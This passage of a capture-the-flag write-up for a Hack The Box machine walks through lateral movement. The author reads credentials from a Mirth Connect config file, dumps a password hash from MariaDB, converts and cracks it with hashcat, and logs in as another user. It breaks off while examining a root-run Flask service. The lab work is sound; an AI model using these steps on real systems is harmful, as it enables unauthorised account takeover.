Terminal type? screen
</span><span class="gp">mirth@interpreter:/usr/local/mirthconnect$</span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-sedric">Shell as sedric</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="users">Users</h4>

<p><code class="language-plaintext highlighter-rouge">mirth</code> is a service account. Looking at real users, only one other account has a home directory in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mirth@interpreter:/home$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">sedric
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/etc/passwd</code> confirms that sedric and root are the only accounts with a login shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mirth@interpreter:/$</span><span class="w"> </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">sudo</code> isn’t installed on this host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mirth@interpreter:/$</span><span class="w"> </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="go">bash: sudo: command not found
</span></code></pre></div></div>

<h4 id="mirth">Mirth</h4>

<p>The mirth user doesn’t have a home directory, but the Mirth Connect installation is located in <code class="language-plaintext highlighter-rouge">/usr/local/mirthconnect</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mirth@interpreter:/usr/local/mirthconnect$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">client-lib  logs                 mirth-server-launcher.jar  server-lib
conf        mcserver             preferences                shell.sh
custom-lib  mcserver.vmoptions   public_api_html            uninstall
docs        mcservice            public_html                webapps
extensions  mcservice.vmoptions  server-launcher-lib
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">conf</code> directory has configuration files:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mirth@interpreter:/usr/local/mirthconnect/conf$</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">dbdrivers.xml  log4j2.properties  mirth.properties
</span></code></pre></div></div>

<p>The interesting one is <code class="language-plaintext highlighter-rouge">mirth.properties</code>. It’s very long, so I’ll show interesting bits. This sets the HTTP and HTTPS ports:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ports</span>
http.port <span class="o">=</span> 80
https.port <span class="o">=</span> 443
</code></pre></div></div>

<p>The keystore is a Java KeyStore. Despite the <code class="language-plaintext highlighter-rouge">.jks</code> filename, <code class="language-plaintext highlighter-rouge">keystore.type</code> is set to <code class="language-plaintext highlighter-rouge">JCEKS</code> (Java Cryptography Extension KeyStore). Unlike the default <code class="language-plaintext highlighter-rouge">JKS</code> type, a JCEKS store can hold symmetric secret keys in addition to certificates and private keys. <code class="language-plaintext highlighter-rouge">mirth.properties</code> also hands over both passwords needed to open it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># keystore</span>
keystore.path <span class="o">=</span> <span class="k">${</span><span class="nv">dir</span><span class="p">.appdata</span><span class="k">}</span>/keystore.jks
keystore.storepass <span class="o">=</span> 5GbU5HGTOOgE 
keystore.keypass <span class="o">=</span> tAuJfQeXdnPw
keystore.type <span class="o">=</span> JCEKS
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">keystore.storepass</code> unlocks the keystore file itself, and <code class="language-plaintext highlighter-rouge">keystore.keypass</code> unlocks the individual key entries inside it. <code class="language-plaintext highlighter-rouge">${dir.appdata}</code> is defined earlier in <code class="language-plaintext highlighter-rouge">mirth.properties</code>, which resolves the keystore path to <code class="language-plaintext highlighter-rouge">/usr/local/mirthconnect/appdata/keystore.jks</code>. Mirth uses this keystore for two things: the TLS certificate for the HTTPS listener (the self-signed <code class="language-plaintext highlighter-rouge">mirth-connect</code> certificate from the nmap scan), and a symmetric secret key that Mirth’s encryptor uses to protect sensitive values such as channel and connector passwords. I can list this store with <code class="language-plaintext highlighter-rouge">keytool -list -v -keystore /usr/local/mirthconnect/appdata/keystore.jks -storetype JCEKS -storepass 5GbU5HGTOOgE</code>, but there’s nothing interesting.</p>

<p>There are a bunch of a database info as well:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># options: derby, mysql, postgres, oracle, sqlserver</span>
database <span class="o">=</span> mysql

<span class="c"># examples:</span>
<span class="c">#   Derby                       jdbc:derby:${dir.appdata}/mirthdb;create=true</span>
<span class="c">#   PostgreSQL                  jdbc:postgresql://localhost:5432/mirthdb</span>
<span class="c">#   MySQL                       jdbc:mysql://localhost:3306/mirthdb </span>
<span class="c">#   Oracle                      jdbc:oracle:thin:@localhost:1521:DB </span>
<span class="c">#   SQL Server/Sybase (jTDS)    jdbc:jtds:sqlserver://localhost:1433/mirthdb</span>
<span class="c">#   Microsoft SQL Server        jdbc:sqlserver://localhost:1433;databaseName=mirthdb</span>
<span class="c">#   If you are using the Microsoft SQL Server driver, please also specify database.driver below </span>
database.url <span class="o">=</span> jdbc:mariadb://localhost:3306/mc_bdd_prod

<span class="c"># If using a custom or non-default driver, specify it here.</span>
<span class="c"># example:</span>
<span class="c"># Microsoft SQL server: database.driver = com.microsoft.sqlserver.jdbc.SQLServerDriver</span>
<span class="c"># (Note: the jTDS driver is used by default for sqlserver)</span>
database.driver <span class="o">=</span> org.mariadb.jdbc.Driver

<span class="c"># Maximum number of connections allowed for the main read/write connection pool</span>
database.max-connections <span class="o">=</span> 20
<span class="c"># Maximum number of connections allowed for the read-only connection pool</span>
database-readonly.max-connections <span class="o">=</span> 20

<span class="c"># database credentials</span>
database.username <span class="o">=</span> mirthdb
database.password <span class="o">=</span> MirthPass123! 

<span class="c">#On startup, Maximum number of retries to establish database connections in case of failure</span>
database.connection.maxretry <span class="o">=</span> 2

<span class="c">#On startup, Maximum wait time in milliseconds for retry to establish database connections in case of failure</span>
database.connection.retrywaitinmilliseconds <span class="o">=</span> 10000
</code></pre></div></div>

<h4 id="database">Database</h4>

<p>I’ll use the connection info from the config to connect to MySQL:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mirth@interpreter:/$</span><span class="w"> </span>mysql <span class="nt">-u</span> mirthdb <span class="nt">-p</span><span class="s1">'MirthPass123!'</span> mc_bdd_prod
<span class="go">Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 43
Server version: 10.11.14-MariaDB-0+deb12u2 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

</span><span class="gp">MariaDB [mc_bdd_prod]&gt;</span><span class="w">
</span></code></pre></div></div>

<p>The database has 21 tables:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [mc_bdd_prod]&gt;</span><span class="w"> </span><span class="k">show</span> <span class="n">tables</span><span class="p">;</span>
<span class="go">+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
21 rows in set (0.001 sec)
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">PERSON</code> table has one row:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [mc_bdd_prod]&gt;</span><span class="w"> </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">PERSON</span><span class="p">;</span>
<span class="go">+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN          | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY       | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
|  2 | sedric   |           |          |              | NULL     |       |             |             | 2025-09-21 17:56:02 | NULL               |            0 | NULL             |           | NULL | United States | NULL           |           0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
1 row in set (0.001 sec)
</span></code></pre></div></div>

<p>There is no password column. The <code class="language-plaintext highlighter-rouge">PERSON_PASSWORD</code> table gives the password hash for a given user id:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [mc_bdd_prod]&gt;</span><span class="w"> </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">PERSON_PASSWORD</span><span class="p">;</span>
<span class="go">+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD                                                 | PASSWORD_DATE       |
+-----------+----------------------------------------------------------+---------------------+
|         2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.001 sec)
</span></code></pre></div></div>

<h3 id="crack-password">Crack Password</h3>

<h4 id="identify-algorithm">Identify Algorithm</h4>

<p>Password hashing is done in <code class="language-plaintext highlighter-rouge">DefaultUserController.java</code> in the <code class="language-plaintext highlighter-rouge">checkOrUpdateUserPassword</code> <a href="https://github.com/nextgenhealthcare/connect/blob/development/server/src/com/mirth/connect/server/controllers/DefaultUserController.java#L152">method</a>:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">public</span> <span class="nc">List</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="nf">checkOrUpdateUserPassword</span><span class="o">(</span><span class="nc">Integer</span> <span class="n">userId</span><span class="o">,</span> <span class="nc">String</span> <span class="n">plainPassword</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">ControllerException</span> <span class="o">{</span>
        <span class="nc">StatementLock</span><span class="o">.</span><span class="na">getInstance</span><span class="o">(</span><span class="no">VACUUM_LOCK_PERSON_STATEMENT_ID</span><span class="o">).</span><span class="na">readLock</span><span class="o">();</span>
        <span class="k">try</span> <span class="o">{</span>
            <span class="nc">Digester</span> <span class="n">digester</span> <span class="o">=</span> <span class="nc">ControllerFactory</span><span class="o">.</span><span class="na">getFactory</span><span class="o">().</span><span class="na">createConfigurationController</span><span class="o">().</span><span class="na">getDigester</span><span class="o">();</span>
            <span class="nc">PasswordRequirements</span> <span class="n">passwordRequirements</span> <span class="o">=</span> <span class="nc">ControllerFactory</span><span class="o">.</span><span class="na">getFactory</span><span class="o">().</span><span class="na">createConfigurationController</span><span class="o">().</span><span class="na">getPasswordRequirements</span><span class="o">();</span>
            <span class="nc">List</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">responses</span> <span class="o">=</span> <span class="nc">PasswordRequirementsChecker</span><span class="o">.</span><span class="na">getInstance</span><span class="o">().</span><span class="na">doesPasswordMeetRequirements</span><span class="o">(</span><span class="n">userId</span><span class="o">,</span> <span class="n">plainPassword</span><span class="o">,</span> <span class="n">passwordRequirements</span><span class="o">);</span>
<span class="o">...[</span><span class="n">snip</span><span class="o">]...</span>
            <span class="n">userPasswordMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"password"</span><span class="o">,</span> <span class="n">digester</span><span class="o">.</span><span class="na">digest</span><span class="o">(</span><span class="n">plainPassword</span><span class="o">));</span>
<span class="o">...[</span><span class="n">snip</span><span class="o">]...</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">Digester</code> comes from <code class="language-plaintext highlighter-rouge">Digester.java</code>, where the <code class="language-plaintext highlighter-rouge">digest</code> function is defined:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="kd">public</span> <span class="nc">String</span> <span class="nf">digest</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">message</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">EncryptionException</span> <span class="o">{</span>
        <span class="k">if</span> <span class="o">(</span><span class="n">message</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">return</span> <span class="kc">null</span><span class="o">;</span>
        <span class="o">}</span>

        <span class="k">try</span> <span class="o">{</span>
            <span class="k">if</span> <span class="o">(!</span><span class="n">isInitialized</span><span class="o">())</span> <span class="o">{</span>
                <span class="n">initialize</span><span class="o">();</span>
            <span class="o">}</span>

            <span class="kt">byte</span><span class="o">[]</span> <span class="n">salt</span> <span class="o">=</span> <span class="n">saltGenerator</span><span class="o">.</span><span class="na">generateSeed</span><span class="o">(</span><span class="n">saltSizeBytes</span><span class="o">);</span>
            <span class="kt">byte</span><span class="o">[]</span> <span class="n">digest</span> <span class="o">=</span> <span class="n">digest</span><span class="o">(</span><span class="n">message</span><span class="o">,</span> <span class="n">salt</span><span class="o">);</span>

            <span class="k">if</span> <span class="o">(</span><span class="n">format</span> <span class="o">==</span> <span class="nc">Output</span><span class="o">.</span><span class="na">HEXADECIMAL</span><span class="o">)</span> <span class="o">{</span>
                <span class="k">return</span> <span class="nc">Hex</span><span class="o">.</span><span class="na">encodeHexString</span><span class="o">(</span><span class="n">digest</span><span class="o">);</span>
            <span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
                <span class="k">return</span> <span class="k">new</span> <span class="nf">String</span><span class="o">(</span><span class="nc">Base64</span><span class="o">.</span><span class="na">encodeBase64Chunked</span><span class="o">(</span><span class="n">digest</span><span class="o">),</span> <span class="n">charset</span><span class="o">);</span>
            <span class="o">}</span>
        <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
            <span class="k">throw</span> <span class="k">new</span> <span class="nf">EncryptionException</span><span class="o">(</span><span class="n">e</span><span class="o">);</span>
        <span class="o">}</span>
    <span class="o">}</span>
</code></pre></div></div>

<p>The hash (“digest”) is base64-encoded and returned. At the top of the class it defines the defaults:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">Digester</span> <span class="o">{</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">DEFAULT_SALT_SIZE</span> <span class="o">=</span> <span class="mi">8</span><span class="o">;</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">DEFAULT_ITERATIONS</span> <span class="o">=</span> <span class="mi">600000</span><span class="o">;</span>
    <span class="kd">public</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">DEFAULT_KEY_SIZE_BITS</span> <span class="o">=</span> <span class="mi">256</span><span class="o">;</span>

    <span class="kd">private</span> <span class="nc">String</span> <span class="n">algorithm</span> <span class="o">=</span> <span class="s">"PBKDF2WithHmacSHA256"</span><span class="o">;</span>
</code></pre></div></div>

<h4 id="format-for-hashcat">Format for Hashcat</h4>

<p>Mode 10900 in <code class="language-plaintext highlighter-rouge">hashcat</code> on the <a href="https://hashcat.net/wiki/doku.php?id=example_hashes">example hashes page</a> is PBKDF2-HMAC-SHA256:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
</code></pre></div></div>

<p>The DB stores <code class="language-plaintext highlighter-rouge">Base64(salt + derivedKey)</code>. hashcat 10900 wants <code class="language-plaintext highlighter-rouge">sha256:iterations:base64salt:base64hash</code>. So I’ll want to:</p>

<ol>
  <li>Base64-decode the hash, returning 40 raw bytes.</li>
  <li>Take the first 8 bytes and base64-encode them to get the <code class="language-plaintext highlighter-rouge">base64salt</code> value.</li>
  <li>Take the other 32 bytes and base64-encode them to get <code class="language-plaintext highlighter-rouge">base64hash</code>.</li>
</ol>

<p>I’ll write a simple Python script to handle that:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">base64</span>
<span class="kn">import</span> <span class="n">sys</span>

<span class="n">SALT_LEN</span> <span class="o">=</span> <span class="mi">8</span>
<span class="n">ITERATIONS</span> <span class="o">=</span> <span class="mi">600000</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span>
        <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">usage: </span><span class="si">{</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="si">}</span><span class="s"> &lt;base64-hash&gt; [salt_len] [iterations]</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">stored</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">strip</span><span class="p">()</span>
    <span class="n">salt_len</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span> <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">2</span> <span class="k">else</span> <span class="n">SALT_LEN</span>
    <span class="n">iters</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span> <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">3</span> <span class="k">else</span> <span class="n">ITERATIONS</span>

    <span class="n">raw</span> <span class="o">=</span> <span class="n">base64</span><span class="p">.</span><span class="nf">b64decode</span><span class="p">(</span><span class="n">stored</span><span class="p">)</span>
    <span class="n">salt</span> <span class="o">=</span> <span class="n">raw</span><span class="p">[:</span><span class="n">salt_len</span><span class="p">]</span>
    <span class="n">dk</span> <span class="o">=</span> <span class="n">raw</span><span class="p">[</span><span class="n">salt_len</span><span class="p">:]</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">decoded total : </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">raw</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes  (salt </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">salt</span><span class="p">)</span><span class="si">}</span><span class="s"> + dk </span><span class="si">{</span><span class="nf">len</span><span class="p">(</span><span class="n">dk</span><span class="p">)</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span><span class="p">,</span> <span class="nb">file</span><span class="o">=</span><span class="n">sys</span><span class="p">.</span><span class="n">stderr</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">sha256:</span><span class="si">{</span><span class="n">iters</span><span class="si">}</span><span class="s">:</span><span class="si">{</span><span class="n">base64</span><span class="p">.</span><span class="nf">b64encode</span><span class="p">(</span><span class="n">salt</span><span class="p">).</span><span class="nf">decode</span><span class="p">()</span><span class="si">}</span><span class="s">:</span><span class="si">{</span><span class="n">base64</span><span class="p">.</span><span class="nf">b64encode</span><span class="p">(</span><span class="n">dk</span><span class="p">).</span><span class="nf">decode</span><span class="p">()</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">main</span><span class="p">()</span>
</code></pre></div></div>

<p>And give it the hash from Interpreter:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run mirth_hash_to_hashcat.py <span class="s1">'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=='</span>
<span class="go">decoded total : 40 bytes  (salt 8 + dk 32)
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
</span></code></pre></div></div>

<h4 id="crack">Crack</h4>

<p>I’ll save that hash to a file and pass it to <code class="language-plaintext highlighter-rouge">hashcat</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@mullings:~/hackthebox/interpreter-10.129.244.184$</span><span class="w"> </span>hashcat sedric.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
<span class="go">hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

10900 | PBKDF2-HMAC-SHA256 | Generic KDF
...[snip]...
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
...[snip]...
</span></code></pre></div></div>

<p>It cracks!</p>

<h3 id="su--ssh">su / SSH</h3>

<p>This password works for sedric on the system as well using <code class="language-plaintext highlighter-rouge">su</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">mirth@interpreter:/$</span><span class="w"> </span>su - sedric
<span class="go">Password: 
</span><span class="gp">sedric@interpreter:~$</span><span class="w">
</span></code></pre></div></div>

<p>It also works over SSH:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> snowflake1 ssh sedric@10.129.244.184
<span class="go">Warning: Permanently added '10.129.244.184' (ED25519) to the list of known hosts.
Linux interpreter 6.1.0-43-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.162-1 (2026-02-08) x86_64
...[snip]...
</span><span class="gp">sedric@interpreter:~$</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll grab <code class="language-plaintext highlighter-rouge">user.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">sedric@interpreter:~$</span><span class="w"> </span><span class="nb">cat </span>user.txt
<span class="go">8d65b27a************************
</span></code></pre></div></div>

<h2 id="shell-as-root">Shell as root</h2>

<h3 id="enumeration-1">Enumeration</h3>

<p>There are a couple ports listening that are interesting:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">sedric@interpreter:/$</span><span class="w"> </span>ss <span class="nt">-tnlp</span>
<span class="go">State          Recv-Q         Send-Q                   Local Address:Port                    Peer Address:Port         Process         
LISTEN         0              256                            0.0.0.0:6661                         0.0.0.0:*                            
LISTEN         0              50                             0.0.0.0:80                           0.0.0.0:*                            
LISTEN         0              128                            0.0.0.0:22                           0.0.0.0:*                            
LISTEN         0              50                             0.0.0.0:443                          0.0.0.0:*                            
LISTEN         0              80                           127.0.0.1:3306                         0.0.0.0:*                            
LISTEN         0              128                          127.0.0.1:54321                        0.0.0.0:*                            
LISTEN         0              128                               [::]:22                              [::]:*   
</span></code></pre></div></div>

<p>54321 is new and interesting! The process list has an interesting entry as well:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">sedric@interpreter:/$</span><span class="w"> </span>ps auxww
<span class="go">USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
...[snip]...
root        3551  0.0  0.7  39872 30916 ?        Ss   17:25   0:00 /usr/bin/python3 /usr/local/bin/notif.py
...[snip]...
</span></code></pre></div></div>

<p>There’s a Python script running continuously. <code class="language-plaintext highlighter-rouge">/etc/systemd/system/notif.service</code> sets it running as service as root:</p>

<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[Unit]</span><span class="w">
</span><span class="py">Description</span><span class="p">=</span><span class="s">Notification server</span>
<span class="py">After</span><span class="p">=</span><span class="s">network-online.target</span>
<span class="py">Wants</span><span class="p">=</span><span class="s">network-online.target</span>
<span class="w">
</span><span class="nn">[Service]</span><span class="w">
</span><span class="py">Type</span><span class="p">=</span><span class="s">simple</span>
<span class="py">ExecStart</span><span class="p">=</span><span class="s">/usr/bin/python3 /usr/local/bin/notif.py</span>
<span class="py">Restart</span><span class="p">=</span><span class="s">always</span>
<span class="py">User</span><span class="p">=</span><span class="s">root</span>
<span class="py">WorkingDirectory</span><span class="p">=</span><span class="s">/usr/local/bin</span>
<span class="w">
</span><span class="nn">[Install]</span><span class="w">
</span><span class="py">WantedBy</span><span class="p">=</span><span class="s">multi-user.target</span>
</code></pre></div></div>

<p>This file is configured such that only root and the sedric group can access it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">sedric@interpreter:~$</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-l</span> /usr/local/bin/notif.py 
<span class="go">-rwxr----- 1 root sedric 2332 Sep 19  2025 /usr/local/bin/notif.py
</span></code></pre></div></div>

<p>Trying to connect to the service just returns 404:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">sedric@interpreter:~$</span><span class="w"> </span>wget localhost:54321
<span class="go">--2026-05-25 17:31:53--  http://localhost:54321/
Resolving localhost (localhost)... 127.0.0.1, ::1
Connecting to localhost (localhost)|127.0.0.1|:54321... connected.
HTTP request sent, awaiting response... 404 NOT FOUND
2026-05-25 17:31:53 ERROR 404: NOT FOUND.
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">curl</code> isn’t on the box, but I’ll reconnect my SSH session with <code class="language-plaintext highlighter-rouge">-L 54321:127.0.0.1:54321</code> to get a tunnel so I can test from my box:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl localhost:54321
<span class="go">&lt;!doctype html&gt;
&lt;html lang=en&gt;
&lt;title&gt;404 Not Found&lt;/title&gt;
&lt;h1&gt;Not Found&lt;/h1&gt;
&lt;p&gt;The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&lt;/p&gt;
</span></code></pre></div></div>

<h3 id="notifpy">notif.py</h3>

<p>The file itself is a very simple Python Flask webserver:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="sh">"""</span><span class="s">
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
</span><span class="sh">"""</span>
<span class="kn">from</span> <span class="n">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">request</span><span class="p">,</span> <span class="n">abort</span>
<span class="kn">import</span> <span class="n">re</span>
<span class="kn">import</span> <span class="n">uuid</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">import</span> <span class="n">xml.etree.ElementTree</span> <span class="k">as</span> <span class="n">ET</span><span class="p">,</span> <span class="n">os</span>

<span class="n">app</span> <span class="o">=</span> <span class="nc">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">USER_DIR</span> <span class="o">=</span> <span class="sh">"</span><span class="s">/var/secure-health/patients/</span><span class="sh">"</span><span class="p">;</span> <span class="n">os</span><span class="p">.</span><span class="nf">makedirs</span><span class="p">(</span><span class="n">USER_DIR</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">template</span><span class="p">(</span><span class="n">first</span><span class="p">,</span> <span class="n">last</span><span class="p">,</span> <span class="n">sender</span><span class="p">,</span> <span class="n">ts</span><span class="p">,</span> <span class="n">dob</span><span class="p">,</span> <span class="n">gender</span><span class="p">):</span>
    <span class="n">pattern</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="nf">compile</span><span class="p">(</span><span class="sa">r</span><span class="sh">"</span><span class="s">^[a-zA-Z0-9._</span><span class="sh">'</span><span class="s">\"(){}=+/]+$</span><span class="sh">"</span><span class="p">)</span>
